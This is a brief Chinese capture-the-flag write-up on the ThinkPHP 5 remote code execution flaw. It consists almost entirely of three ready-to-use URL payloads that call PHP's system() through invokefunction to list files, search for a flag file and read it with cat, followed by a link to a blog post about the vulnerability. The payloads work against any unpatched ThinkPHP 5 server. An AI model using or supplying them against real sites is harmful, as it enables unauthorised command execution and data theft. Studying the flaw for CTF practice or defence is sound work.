1.thinkphp5 rce漏洞，构造payload，
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20%27system("ls");%27
2.寻找flag
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20%27system("find / -name 'flag'");%27
3.查看flag
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20%27system("cat ../../../flag");%27
4.漏洞详情可查看，https://blog.csdn.net/qq_40884727/article/details/101452478